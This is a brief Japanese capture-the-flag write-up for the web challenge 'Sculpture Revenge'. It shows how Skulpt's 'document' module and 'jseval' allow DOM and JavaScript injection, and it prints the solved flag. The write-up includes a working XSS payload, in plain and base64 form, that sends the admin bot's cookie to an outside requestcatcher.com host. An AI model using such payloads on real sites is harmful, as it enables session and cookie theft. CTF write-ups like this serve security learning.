web/Sculpture Revenge
skulptでpythonを実行できる
skulpt-stdlib.jsを見るとdocument.jsでdocumentライブラリが実装されている。これを利用すると任意のDOMを編集できる。
code:python
import document
document.getElementById("mycanvas").innerHTML = "<img src=x onerror='fetch(https://dh.requestcatcher.com/flag?${document.cookie})'>"
これをbase64エンコードし、
code:txt
aW1wb3J0IGRvY3VtZW50CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJteWNhbnZhcyIpLmlubmVySFRNTCA9ICI8aW1nIHNyYz14IG9uZXJyb3I9J2xvY2F0aW9uLmhyZWY9YGh0dHBzOi8vZGgucmVxdWVzdGNhdGNoZXIuY29tL2ZsYWc/JHtkb2N1bWVudC5jb29raWV9YCc+Ig==
botに通報するとフラグ獲得。
.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}
別解
jsevalという関数を使用すれば任意のJSコードを実行できる。
code:python
jseval("alert(1)")